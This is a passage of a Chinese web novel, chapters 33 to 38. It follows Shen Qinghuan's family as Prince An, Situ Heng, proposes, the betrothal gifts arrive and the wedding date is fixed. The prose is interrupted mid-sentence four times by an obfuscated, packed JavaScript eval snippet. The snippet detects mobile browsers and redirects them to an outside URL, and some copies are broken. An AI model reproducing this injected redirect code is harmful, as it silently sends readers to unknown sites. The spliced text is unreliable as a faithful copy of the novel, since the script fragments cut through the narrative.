“真是好福气,我想见见未来的三婶。”沈清韵轻声说:“二叔和三叔都得了良配,不知道父亲回来看到如今家中情况,又会如何呢。” 沈清欢知道沈清韵想要知道大房最后的归宿,轻声说:“二姐,这要看大伯怎么选,若选他们,离开沈家就是结果了,若选沈家,那唯有休妻。” “父亲可能会舍不得清舟。”沈清韵说。 言外之意,若沈清舟留在沈家,大伯会休妻。 “祖父会有定夺的,不过二姐也看到了,沈清舟并非有担当的人,身为沈家男子,看着沈家遭殃只想着跟她们一走了之,如此人品不堪大用。”沈清欢说。 沈清韵缓缓点头:“本也是个没心的人。” 步秋回来的时候满脸喜色,一进门就说:“二小姐真真是上苍眷顾,今日山里采药竟让我遇到了至少二十年以上的雷公根。” “步师父,二姐的脸能完好如初吗?”沈清欢起身过来问。 步秋笑了:“四小姐放心吧,三爷前些日子给的药膏就极好,如今有了雷公根,可以研磨成粉配上珍珠粉滋养时日,必定不会留疤的。” 沈清欢总算放下心来。 回到听风苑,沈清欢才看到疏影。 “这?”沈清欢看林嬷嬷。 林嬷嬷说:“疏影被送回来的时候就昏迷着,这些天一直都没醒,步秋说是**了,每日给行针祛毒,但一直都没有起色。” 红缨一直都在伺候着疏影,抹着眼泪:“要知道小姐进山危险,我说什么也要去的,至少比疏影更能抵挡一阵子。” 沈清欢坐在床边,越发笃定自己之前是想岔了,别说自己了,就是自己身边的仆从都在这个漩涡里,一不留神就可能伤及性命,跟这个比起来,司徒珩的所作所为是上一世的事,这一世自己什么都知道,不至于会重蹈覆辙,沈家在,司徒珩的野心在,想要改变这一切,两者缺一不可,所以,自己抗拒他作甚? 当晚,沈清欢求到了三叔这里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555252|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈景行和钟灵先去看了沈清韵,又来看疏影。 沈清欢看三叔和未来的三婶给疏影诊脉,两个人低声交谈后,钟灵行针,三叔开方子,开好了方子给林嬷嬷,让她去熬药。 心里头有些羡慕三叔和钟灵,这边是夫妻之间最好的样子吧,夫唱妇随,二人同心。 当晚,沈清欢守在疏影床边,快要天亮的时候,疏影苏醒过来,眼睛还没睁开就先流泪了。 “疏影。” 沈清欢轻唤。 疏影猛地睁开眼睛,看到小姐坐在自己床边,起身就在床上跪下了,泣不成声,泪如雨下:“小姐,奴婢该死,奴婢该死啊。” “别胡说,什么都没发生,我得救了。”沈清欢说。 疏影抬头看着沈清欢,不敢相信,因她在昏迷之前明明听到了小姐说有人害她,还不等她冲进去护主,就晕过去了,之前只是喝了林舒清身边丫环递过来的一盏茶。 沈清欢微微蹙眉:“怎么,你家小姐说话都不信了?” “不是,小姐,疏影不配跟在您身边,你打死疏影吧。”疏影哭着磕头。 沈清欢叹了口气:“我看出来了,你这是不盼着自家小姐好。” 疏影又是摆手,又是摇头。 “真的,司徒珩和三叔救了我。”沈清欢说。 旁边红缨眼泪汪汪的说:“疏影,小姐说的都是真的。” 疏影跪坐在床上,端详着沈清欢好一会儿,突然张开大嘴毫无顾忌的大哭起来。 林嬷嬷端着药膳进来,看到这一幕忍不住叹气,走过来说道:“还有点儿规矩了吗?深更半夜如此哭嚎,你是要把府里的人都惊动?” 疏影瞬间憋回去了,憋得脸色涨红,缓了口气才咬牙切齿的说:“小姐,要报仇!一定要报仇!” 沈清欢递过去帕子:“擦擦脸,先吃点儿东西垫垫肚子,养好身体才能去给我出口恶气呢。” “是,奴婢一定要亲自动手!”疏影接过来药膳粥,咕咚咕咚几口,一碗喝光了,擦了擦嘴:“小姐,天亮咱们就去!看奴婢不撕烂了她们主仆的嘴!” 第34章 儿子没保住,还搭上了个女儿 翌日。 沈清欢刚醒来,疏影就过来了:“小姐,奴婢为您报仇去。” “好啊。”沈清欢打了个哈欠:“那可说好了,只准成功不准失败。” 疏影非常郑重的点头:“小姐放心,奴婢一定不会连累府上和您的。” “嗯,那你想打听打听卫国公府最近的动向,再打听打听林舒清的动向,总不至于直接冲进去,对不对?”沈清欢说。 疏影觉得小姐说的有道理,收拾妥出门去了。 郑嬷嬷过来伺候沈清欢起身:“小姐,如此宠着疏影,回头没规矩可是要被人说嘴的。” “奶娘放心吧,疏影只不过是憋屈,出去一趟散散心结就好了。”沈清欢让疏影去打听情况,目的就是让疏影自己知道卫国公府的报应有多快。 果然,沈清欢用过早饭在院子里遛弯儿消食的时候,疏影兴冲冲的回来了:“小姐,小姐,他们家在办丧事,林墨洲**,坊间传言是被活活气死的,林墨轩被罚跪在门口已经一天一夜了。” 沈清欢点头:“然后呢?” “说是卫国公府里,当家做主的是林舒清。”疏影眼神乱飞,她还知道更炸裂的消息,可就算是当着小姐的面,也说不出啊。 沈清欢看她这副模样,噗嗤笑了:“所以,报仇这事儿没有等,倒是你昏迷这么久,回头是要他们给赔偿的。” “奴婢不要赔偿。”疏影脸红了:“奴婢就是咽不下这口气。” 沈清欢走到亭子里坐下:“也不用咽下去啊,山不转水转,早晚有遇到的时候,别着急。” “就是。”红缨接过去话茬儿:“当时小姐没有回府,三爷派人送你回来的时候就说了不准让你醒过来,现在知道为啥了吧?” “奴婢沉不住气,会坏事。”疏影是真真的长教训了,虽说是当下人,可沈府,特别是跟在小姐身边的下人,那个不是顺风顺水的,正因为少了历练,遇到事情都显得笨手笨脚的呢。 沈清欢让疏影好好歇两天,这两天沈府也没什么大事,至于卫国公的事不会就这么结束,但三叔在做,自己只管等结果就是了。 以为没事,可事情来的突然,皇上一道圣旨把沈家再次推到了风口浪尖。 沈清樾被册封金吾卫左将军,从三品,负责京城守卫。 消息一出,京城百姓议论纷纷,都说不能一门同文武,可金吾卫左将军是左尚书令的亲儿子,这难道不是一门同文武? 之前霍家求赐婚闹腾的满城风雨,很多人都猜测皇上厌弃沈家了,可事实上谁见到赐婚圣旨了?传言多不可信啊。 沈清欢听到这个消息后,也沉默了许久,能想到背后推动这件事的人只有一个,那便是司徒珩。 原本大哥在雁门关历练,经过霍家求赐婚一事,大哥势必不能回雁门关了,她本打算让大哥往漠北去,漠北虽不像雁门关那么重要,可西凉踏入大夏国的地方恰恰是从漠北开始的,沈家可以舍弃文职,但兵权要握在手里,这是沈清欢早就想过的,只不过还没说罢了。 这一次,她和司徒珩竟不谋而合。 圣旨下来后,沈清樾需立刻入宫见驾,别说他提前没听到任何风声,就是身为左尚书令的沈景谦也没有听到一点儿消息。 父子二人入宫,御书房里面圣。 司徒珩正陪着靖安帝下棋,靖安帝要免沈景谦和沈清樾的礼,父子二人先一步跪倒,沈景谦叩首在地:“皇上,清越在雁门关也不过是个百夫长,哪里能担此重任,况且这不合规矩啊,请皇上收回成命。” 靖安帝放下棋子,转过身正襟危坐:“爱卿该不是在记恨朕曾想要赐婚沈、霍两家的事情吧?” “不敢,皇上英明,微臣一直都相信皇上不会同意这门婚事的。”沈景谦没敢抬头,高声说。 靖安帝笑了:“还是景谦了解朕,之前查沈府,本也是做做样子罢了,可尽管如此,怕也是伤了恩师的心,朕心里过意不去啊。” “皇上,家父确实身体不妥当,但不是一朝一夕了,并且家父相信皇上会明察秋毫,沈家忠心天地可鉴。”沈景谦顿了一下:“正因如此,不能让世人说皇上偏宠沈家,清越年纪还小,难当大任。” 靖安帝端起茶盏:“阿灼是个好样的,朕很喜欢敢做敢当的姑娘,景谦真是养了一个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555253|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿。” 沈景谦冷汗都下来了:“小女任性胡闹的厉害,从小也不怎么出门,短了见识。” “朕想要给阿灼指婚,景谦可同意啊?”靖安帝问。 沈景谦暗暗松了口气,他是怕皇上歪心思打在女儿身上,逼着自己效仿霍家把女儿送进宫里做筹码,既是指婚,霍家是绝无可能,大概率是司徒珩无疑了。 思及此,沈景谦回道:“能让皇上给做媒,是小女莫大的福分。” “好啦,起来说话吧。”靖安帝说着,看了眼旁边伺候的太监。 太监过来搀扶着沈景谦起身,又要搀扶沈清樾,沈清樾赶紧起来,不敢劳烦这位,哪怕是太监,皇上跟前的人得罪不起。 靖安帝说:“朕只有这么一个弟弟,人品才学是极好的,如今更能帮衬朕守着江山社稷,婚事自是要慎之又慎啊。” “皇上所言甚是,安王确实是好人才。”沈景谦心里安稳不少,赐婚司徒珩,沈家接着就是,当然不能说正中下怀,可比任何人都更合适,不管沈家如何,阿灼是安全的。 靖安帝点了点头:“那朕就做这个主了,不能委屈了阿灼,安王先去提亲,过程不能以后疏漏,太后也极力促成此事,要亲自为安王操持婚事呢。” “谢主隆恩。”司徒珩立刻跪下谢恩。 沈景谦眼角余光看了司徒珩,这一眼靖安帝太满意了,因为沈景谦在恶狠狠的瞪司徒珩。 护女心切,靖安帝相信沈家都是聪明人,司徒珩求娶绝非沈家愿意的,如此就好。 至于以后,暂时收拾不了沈家,只能徐徐图之了。 虽然沈景谦再三请辞,不想让沈清樾担此要职,可靖安帝心意已决,哪里会更改? 出宫回府,沈景谦看着儿子:“你啊,千万要尽心尽力做事,不能辜负了皇上的一片心意。” “是,父亲。”沈清樾知道这话是说给谁听的,他又不是个傻子。 父子二人刚到家,都没有一炷香的工夫,冰人登门为沈家嫡小姐说亲。 沈清欢得了消息,轻轻地叹了口气,罢了!这条路是必须走了,那就去露露面再说! 第35章 阿灼啊,长大喽 沈府,不止沈夫人,沈老夫人也在,冰人是京城勋贵中极有脸面的程婆子。 程婆子恭恭敬敬的给沈老夫人和沈夫人请安后,沈老夫人满脸笑意的请她落座。 “哎哟哟,这可真是抬举我了,老夫人一看就是富厚的人,托了您老的福,还让我得了这么一个露脸的差事。”程婆子说着,浅浅的坐下来:“要我说啊,这个是一个有心,一个有意,安王亲自登门请我来走这一遭,说是如此才显得庄重,求娶嘛,先求再娶。” 沈老夫人笑着点头:“是我们家孙女有福。” 这话是客气话,也是真心话,安王是天家人,一张赐婚圣旨的荣光就是抬举了,司徒珩能像民间求娶般登门先求,这本就是给足了沈家和沈清欢面子。 程婆子不能明说,只是笑道:“您老可眼明心亮的很,安王还让我送来了一份草拟的礼单。” 至于问名,合婚,都是过程,礼单是实实在在的诚意,沈老夫人看看沈夫人:“这可是有些着急了。” “是啊,儿媳也觉得有些急了。”沈夫人说。 程婆子立刻接过去话茬儿:“安王叮嘱过了,婚期不急,听沈家长辈做主。” 沈清欢到了二门外,便听到了这么一句。 孙嬷嬷进门通禀,沈老夫人笑道:“来的正好,阿灼的婚事自己拿主意,刚好安王送来了礼单。” 程婆子下意识的往门口看,看到沈清欢的时候,忍不住在心里啧啧两声,以前是只闻其名,不见其人,都说沈家嫡出小姐才华出众,本以为容貌可能一般,如今看来真真是个漂亮的人物儿,怪不得安王如此厚待,男人嘛,不管身份高低贵贱,都想抱得美人归。 沈清欢进门先给祖母和母亲请安。 程婆子站起来,在沈清欢转身的工夫,赶紧给行礼:“给小姐请安。” “劳烦您奔波了,快坐吧。”沈清欢说罢,坐在了沈老夫人身边的绣墩上。 程婆子把礼单册子送到沈清欢面前:“小姐过过眼,安王吩咐一切都遵从小姐的心意,尽可说。” 沈清欢接过来册子递给了沈老夫人:“祖母,帮阿灼看看。” “好。”沈老夫人打开礼单,眉头微微挑了挑,程婆子没看过礼单,但最善察言观色,安王出手,自是不同凡响的。 沈老夫人看过,递给了沈夫人,沈夫人打开的时候也是吃了一惊,还要知道不管是沈老夫人还是沈夫人都是出自太原王氏,太原王氏虽在庙堂不显声名,可在商贾行当若说第二,没人敢说第一,就是银子多,坊间传言富可敌国。 能让这两个人都吃惊,程婆子觉得安王怕是除了命没放在这册子里,什么都交出来了。 沈夫人看沈老夫人,两个人微微点头后,把册子还给了沈清欢。 沈清欢也好奇,打开看到里面第一行字就惊到了,因第一行字明目张胆写着四个字——半壁江山。 “这册子我收下了。”沈清欢抬眸:“劳烦您回去跟安王说,明日登门的时候带个能合婚的人,一并择期。” 哎哟哟,程婆子觉得自己这算是开眼了。 之前闹得满城风雨,霍家从雁门关兴师动众回来求娶都碰了一鼻子灰,哪怕入宫求赐婚圣旨都没成,她来的路上心里直打鼓,就怕自己这一趟碰一鼻子灰,谁能想到这事儿容易得比喝凉水都痛快。 如此看来,霍家还真是可笑,想必这沈小姐早就和安王情投意合了,偏偏那霍家跟二愣子似的冲上来横插一脚,真真是丢人现眼。 事情办的顺利,她乐不得回去交差,辞了沈家人出门直奔安王府。 沈老夫人和沈夫人都盯着沈清欢。 沈清欢清了清嗓子:“这样的聘礼单子一旦被人看到,那就谁都别想活了,司徒珩这个人最是心眼儿多,用这个法子逼着我们也要接下来聘礼单子。” “对,阿灼说得对。”沈老夫人打心底高兴,这才是沈家姑娘该有的谋略和本事,里子和面子都滴水不露。 沈夫人也松了口气,又蹙起眉头:“可是,若这么厚重的礼,我们给阿灼陪嫁可该怎么陪呢?” “自是最好的!”沈老夫人淡淡的说:“咱们可不是破落户,他是身份贵重,可我们家阿灼多金。” 沈清欢噗嗤笑了:“祖母,您这不是就被司徒珩给算计了?” “哦?”沈老夫人笑望着沈清欢:“这话从何说起啊?” 沈清欢把聘礼单子打开,第一页撕下来:“不过是四个字,还想要掏空了祖母和母亲,这心机城府,要是惯着他,保不齐以后总想办法欺负阿灼呢。” 沈老夫人哈哈大笑。 沈清欢起身到灯前,取下灯罩,点了灯,把这张纸焚成灰烬还不放心,直接用帕子扫到了茶碗里,确定万无一失才盖上盖子过来坐在沈老夫人身边:“祖母,母亲,这门婚事本就没可能会拒掉,但阿灼心里任凭天底下任何一个男人都算在内,我心尖儿上放着的都是咱们家,是沈家的一切。” 沈老夫人的笑意收了起来,拉着沈清欢的手:“傻孩子,家里人何尝不把你当成心尖子疼着,如此安排你或许不喜,可日久见人心,到任何时候你都有退路的,放心吧。” “嗯。”沈清欢靠在沈老夫人的腿上:“所以,择期后,司徒珩会入宫请旨,这里子面子都给足了,婚期只怕也不会太晚。” 沈老夫人轻轻地拍着沈清欢的背:“那也无妨,不管是在沈家还是到了安王府,但凡你不愿意做的事,就不做!若有人敢逼着你,回来找祖母,祖母给你做主。” “母亲这话可让儿子听不得,什么都让您老来,我们这些人出门都抬不起头。”沈景行从外面进来,笑着说道:“护着阿灼的事,二哥、我和清越就足够了。” 沈清欢起身给沈景行请安,笑着说:“三叔,若你不着急操持婚事,我可要早一步出门子了,我不依。” “那你也要问问灵儿,到底要不要做你的三婶娘啊。”沈景行笑着捏了捏沈清欢的鼻子尖儿:“阿灼啊,长大喽。” 第36章 用余生做筹码 钟灵脸都红了,过来给沈老夫人和沈夫人请安。 沈老夫人拉着她的手坐在身边,柔声:“好孩子,别说阿灼着急你们的婚事,我也盼着老三早点儿成家立业呢。” “老夫人,这件事景行做主,不过我还是要回去一趟药王谷禀明家父。”钟灵说。 沈老夫人点头:“是这么个理儿,让老三一起去,以后是一家人,咱不说恩,只说情,沈家会准备妥当周全的,什么时候启程呢?” 钟灵听沈老夫人这么说,心里头是欢喜的,但沈景行不能离开京城,这边的事他都跟自己说了,沈家如今确实离不开人。 但拒绝沈老夫人是万万不能的,她抬头看沈景行。 沈景行坐在椅子上,说:“母亲说的是,我陪着灵儿回去,三日后启程,若快马加鞭,五日可到药王谷,若带着聘礼的话,只怕来回一个月都不够。” “不若我们先回去,老夫人不着急送聘,我想要把家父接到京城。”钟灵立刻领会了沈景行的心意,接过去话茬儿说。 一旁的沈清欢真是太喜欢钟灵了,上一世有情有义为沈家人收殓,这一世对自己有救命之恩,如今更是能体谅三叔的心意,如此体贴聪慧的女子能嫁给三叔,是三叔的福气。 沈夫人笑着说:“既是亲家要来京城,那就把聘礼里加上两个庄子和一处雅静的宅院,你们回来之前刚好有空修葺一番,也好让钟姑娘和娘家人在京城操持婚事。” “好。”沈老夫人抚掌:“这样,南城的宅子吧,也算拿得出手。” 沈夫人笑着点头。 沈家南城的宅子很大,沈清欢陪着祖母去过一次,因祖母喜欢南城的繁华热闹。 但沈家的宅子可以说闹中取静一绝,最重要的是亭台楼阁,比沈府现在的府邸也不逊色。 钟灵赶紧摇头:“嫂夫人使不得,药王谷在京城也略有一些产业,聘礼是礼数,这宅子万万不能放在里面。” “三婶儿,收下吧,回头我们去南城开个京城最大的药铺,再开一个最大的诊堂,那边商贾云集,是个好地方。”沈清欢笑眯眯的过来坐在钟灵身边:“再说了,你的就是三叔的,以后弟弟妹妹们也多个玩闹的地方。” 沈老夫人点了点头:“左手到右手,说到底还是沈家便宜了,能得这么好的姑娘相中,以后嫁过来也能跟丽华互相扶持,就这么定了。” “母亲和嫂嫂都这么说了,收下便是。”沈景行说。 钟灵知道自己选对了人,而沈家确实仁厚,择如此夫家,该知足了。 当下,沈夫人去了房契交给钟灵,让沈景行一起过去牙行换了房契,也叮嘱沈景行安排钟灵的人过去先拾掇院子,至于花销全都沈家出。 钟灵和沈景行离开后,沈夫人去准备登门礼,虽说两个人要快马出行,但如今两家要议亲,沈景行作为姑爷登门是第一次,不能没礼数。 沈清欢在这边陪着沈老夫人。 “清韵的脸好了不少。”沈老夫人说:“去看看那丫头。” 沈清欢搀扶着祖母往后院的望月楼去,如今是沈清韵的院子。 院子里繁花似锦,守门的婆子一个过来迎接老夫人和四小姐,一个进去通禀二小姐。 没一会儿,小丫环扶着沈清韵从屋子里出来。 “哎哟,你这孩子快进门去,见不得风。”沈老夫人加快脚步,握住了沈清韵的手。 沈清韵柔声:“祖母,已经好很多了。” “那也好万事小心,女儿家的这张小脸儿啊,可贵重呢。”沈老夫人问:“这里住着习惯吗?” “嗯,很好,很好了。”沈清韵轻声说。 沈清欢见二姐的脸上还裹着纱布,虽然带着帷帽,可到底伤口没好利索,心疼的抿了抿嘴角。 “四妹。”沈清韵看沈清欢。 沈清欢扶着她的手臂:“快进屋吧。” 三人进屋,沈老夫人仔细问了用药和吃穿用度,沈清韵都一一回了,讲真,虽然同样是沈家女,可沈清韵心里太清楚了,若非祖母照顾自己,自己哪里有机会过这样的日子? 沈老夫人端起茶盏:“二丫头,你父来信了,这一两日就到京城。” “祖母,父亲若是拎得清,自会定夺,若是拎不清,那也不能强求。”沈清韵说:“我会和父亲说其中的厉害关系。” 沈老夫人笑了:“二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555255|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫头是想要再护着你父一回啊。” “是,不管母亲对我做了什么,到底十月怀胎养育了我,我虽不能让她称心,可若是以后能照顾一二,自不能袖手旁观。”沈清韵轻轻地叹了口气:“父亲亦是如此,他怎么选,我都不会阻拦,也会如对待母亲那般对待他。” 沈老夫人满意的点头:“这才是我们沈家的孩子,有情有义不糊涂,但你在他们跟前受委屈的时候多,可不能让他们再有机会伤你,所以让你四妹陪着你,可行啊?” 沈清韵眼圈泛红,有些哽咽又露出苦笑:“是啊,祖母什么都知道,母亲能要我的脸,父亲就可能要我的命。” 大房,憎恶沈清韵是很让人费解的,明明都是亲生的,偏偏就对这个最刻薄。 沈老夫人到处都看了看,确定处处妥帖,让沈清欢在这边陪着沈清韵解闷儿,她先回去了。 小姐妹俩也不用人伺候,喝茶下棋。 “二姐,安王来提亲了。”沈清欢低头看着棋局:“也会被赐婚。” 长长的叹息一声,沈清韵放下棋子,轻轻地握住了沈清欢的手:“让四妹承受太多了。” 沈清欢抬眸,从沈清韵眼里看到了心疼,鼻子发酸的说:“别人都认为我一步登天了呢。” “那是眼皮子浅的,四妹,嫁给安王是天家妇,沈家如今就像是被架在火上炙烤的肉一般,对你来说更难。”沈清韵柔声:“不管到任何时候,都要留一个心眼儿,都的能全身而退。” “二姐,其实咱们家人心里都清楚。”沈清欢扬起笑脸:“所以,我是自愿嫁过去的,若是婚期很近,府里就只有二姐能照顾祖母了,祖母心里压着的事情太多。” 沈清韵看着沈清欢强颜欢笑的模样,安慰的话都说不出口,别人以为司徒珩是蜜糖,可对于沈家如今的处境和沈清欢来说,司徒珩分明是**。 沈清欢是用余生做筹码呢。 可长姐和三妹,怎么就拎不清呢? “二姐,回头你要择个良人,远离京城,去过属于自己的日子,记住了吗?”沈清欢说。 沈清韵愣住了,她的未来?若沈家没有闯过这一劫,还有未来吗? 第37章 在你跟前,要脸干嘛? 沈清欢是真心希望沈家的每一个人都有好归宿。 当然,被除族的不在内。 可以想象得出,沈清瑶知道自己和司徒珩真成了夫妻,会是怎么癫狂的样子,一个处心积虑,几次三番吃里扒外的人,她只等何时的时机再出手。 翌日,司徒珩亲自登门,按沈清欢的要求带来了钦天监的监正为他们合婚,择期。 程婆子说着吉祥话儿,但不敢往前靠,她行走在这些贵人中间,除了一张巧嘴儿,还有一双不错的眼睛,看得出来远近轻重。 沈家待客合乎礼仪,钦天监的监正姓崔,虽然官职比不得沈太傅,也比不得沈景谦,可沈家非常尊重他,因今日的事要他做主,所以坐在上座。 沈清欢也在,不过没有露面,而是坐在屏风后面。 “安王殿下和沈四小姐是生生世世的夫妻缘分啊。”崔监正看过八字,啧啧称奇:“这可真是少有的八字,可补夫妻同心,繁荣昌盛。” 沈清欢磨了磨牙,对!生生世世!自己的上一世就被他折磨了三年,生生世世?真想夸一句这位崔监正,看得真准啊! 只不过,过去看得准有什么用?她和司徒珩能同心?鬼都不信! 沈良辅淡漠的看了眼司徒珩,显然这位老人家也是不信的,最多是司徒珩私下里用了手段罢了,沈家人哪个不心知肚明这门亲事到底是怎么来的? “崔大人,择期在何时?”沈太傅问。 崔监正又是一番推演后,冲沈太傅一抱拳:“老大人,择期后面三年都查看了,唯有九月二十为三年一遇的大吉之日。” 沈清欢脸色铁青,九月二十?还往后三年都看了?司徒珩这个混账东西可真着急啊! “这个?”沈良辅显然还不满意,眉头微微蹙起。 崔监正立刻低头又推演一番后,说:“老大人,九月二十别说往后三年了,就是再往后推三年,也是这个日子为上上之选,安王殿下和沈四小姐婚后可卜琴瑟和鸣,白头偕老,子孙瓜瓞,并且代代都有贤良后人,至少百年旺相啊。” “受累了。”沈良辅微微颔首,没说应还是不应。 崔监正一看这架势,久留无益,起身拱手:“下官先告辞。” “好,改日登门道谢。”沈良辅没留,沈景谦送崔监正离开。 沈良辅等客人走后,脸色阴沉下来,看着司徒珩:“跟我去书房。” “是。”司徒珩乖顺的很,跟在沈良辅身后去了书房。 书房里,沈良辅落座,问:“是你的意思,还是那位的意思?” 司徒珩知道沈家不愿意让沈清欢那么早出嫁,说句不好听的,应承婚事也是为了定下个名分,拖延三五年才好。 可自己真没和崔监正多说一个字。 “祖父,可能是皇上的意思,我真没跟崔监正提过婚期。”司徒珩说的真诚。 沈良辅冷哼一声:“阿灼才及笄!谁家刚及笄的孩子就成亲?” “祖父。” “安王殿下别乱叫,还没到这个程度。”沈良辅心口都疼,别的孙女也就罢了,他的阿灼啊,几次三番示警让沈家避过大难,司徒珩就跟个狼崽子似的,这就要给叼走了,简直是把他心尖子挖了啊。 司徒珩低着头:“您老要不换个想法,您不是嫁出去一个孙女,而是娶回来一个孙子呢?” 沈良辅一口茶喷了出来,看怪物一般看着司徒珩,拿了帕子擦嘴角后,问:“你这话也说得出口?我算看出来了,你哪里是迎娶阿灼,你是盯上了我们沈家啊。” “是真心喜欢阿灼。”司徒珩那是一点儿不含糊,直接给沈良辅跪下了:“祖父,成全小子得贤妻,小子就是沈家半子,真心诚意,天地可鉴。” 沈良辅叹了口气:“起来吧,男子大丈夫,怎么如此膝软。” “若遇千军万马,就算是死都站着,可为了阿灼,我跪您是诚意。”司徒珩说的义正言辞。 沈良辅皱眉:“赶紧起来,传出去成了什么事儿?” “是。”司徒珩起身站在一旁。 “快坐下吧,你别忘了,你可是王爷。”沈良辅抬起手压着额角。 司徒珩坐下了,低声:“若非您老护我周全,我如今只能是亡魂,哪里来的命做王爷呢。” 这话,勾起了沈良辅的记忆,往事历历在目,当年行宫里抱出来的幼子,如今自称是=做沈家半子,谁能想到当初自己只是受太厚所托,却在多年后成了自己的孙女婿。 “这件事太后怎么说?”沈良辅问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555256|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >司徒珩微微垂首:“母后说,事不宜迟,迟则生变。” “唉。”沈良辅不知道说什么好了,他一直都觉得太后太疼爱安王,反倒是对当今皇上没有那么亲近,两相比较,安王反倒更像是太后的亲儿子。 如今看太后为安王婚事操持的心思,沈良辅都看不透太后到底知不知道,司徒珩是个野心勃勃的人呢? “皇上势必会问钦天监择期的事,钦天监也一定不敢隐瞒,所以不管你说不说,这赐婚圣旨都会下来,婚期也都会定在九月二十。”沈良辅说。 司徒珩点头:“祖父,我也觉得是这样的。” “回宫先去禀了皇上,再去跟太后商量,三个半月要准备大婚,勉勉强强够用。”沈良辅说:“不过,阿灼和你。” 司徒珩可怜巴巴的看着沈良辅:“祖父,阿灼不喜我,您多为我美言几句。” “没门!不喜你也没拦住你要娶,不喜也不能拒婚,不善待阿灼,我打断了你的腿。”沈良辅摆手:“别在我这里耗着,赶紧去做正经事。” 司徒珩从书房出来,迎面见沈清欢立在树荫下,一身水蓝色衣裙的她,一双漂亮的大眼睛没有任何情绪的盯着自己,竟让他心口又有一些疼了。 “婚期就九月二十了,对吗?”沈清欢问。 司徒珩点头:“不是我的意思,极有可能是皇上的意思。”顿了一下,低声:“也许是咱们的缘分使然,阿灼,别乱想,大婚和圆房是两回事。” 沈清欢愕然的瞪大了眼睛:“司徒珩,你知道自己在说什么吗?” “知道,但是你这么盯着我,我就只能想到什么就说什么了。”司徒珩笑了,狭长凤眼盛满笑意,看沈清欢红了的脸,心里头从没有过的畅快。 娶她! 无关乎情深,他不确定自己是不是真的情深,但娶她是一定要娶的,没理由。 沈清欢别开目光:“你说的话算数吗?” “哪一句?圆房还是聘礼册子上的话?”司徒珩靠近两步,压低声音问。 沈清欢转过头,扬起小脸,看着比自己高出一大截的男人,皱眉:“你知不知道自己很不要脸?” “知道。”司徒珩抬起手点了点沈清欢的鼻子尖儿:“在你跟前,要脸干嘛?” 第38章 霍静纭的拜帖 沈清欢回头认真的端详着司徒珩,隔着上一世,她有些恍惚了。 漠北三年,司徒珩战功赫赫,西凉军但凡听到大夏战鼓声,都恨不得四散奔逃,原因无他,司徒珩只要愿意,他能直接杀进西凉,甚至踏平西凉。 不止是猛将,更是顶级谋士,手底下有三千龙刺兵,随便一个都是以一敌百的战神,只是他不曾踏入西凉半步,只镇守漠北。 记忆里的那个人和眼前这个人,完全无法重合在一起。 这能是一个人吗? 司徒珩被看得有些局促,清了清嗓子:“是不是觉得换个身份,我还是比较耐看的?” “嗯?”沈清欢蹙眉。 司徒珩低声笑了:“以前是司徒珩,现在是未婚夫,所以不一样了,对不对?” 沈清欢有些无奈的转身走了,或许是还没有真正的成长起来吧,这个时候的司徒珩有些让人一言难尽。 司徒珩目送着沈清欢里去的背影,抿了抿唇角,他总能在沈清欢的身上感受到沉重感,刚才看着自己的目光让人心碎,像久别重逢故友,却发现物是人非的感觉。 他抬起手压了压心口,虽不疼,但闷闷的难受。 程婆子得了丰厚的赏钱,走路都要飘起来了似的,但没忘记安王的吩咐,迎娶的时候还需要她做喜婆。 司徒珩回宫先去见了靖安帝。 靖安帝打量着司徒珩:“听说,你早就有求娶沈清欢的心思?” “皇上,臣弟的心思从不隐瞒,直到今日也并不觉得我对沈清欢有男女之情,但沈清欢的婚事能左右沈家,跟霍云昭比起来,臣弟娶了她对江山社稷更有利。”司徒珩说。 靖安帝心里十分满意,太后也是这么说的,所以太后才会主张让司徒珩迎娶沈清欢,如今婚事已经开始操持了,那便要尽快大婚,如此才能尘埃落定。 “钦天监那边怎么说?”靖安帝问。 司徒珩说:“说是择日最好在九月二十。” “九月二十啊。”靖安帝点了点头:“好,那就这么定了。” 司徒珩撩袍跪倒在地:“请皇兄为我做主。” 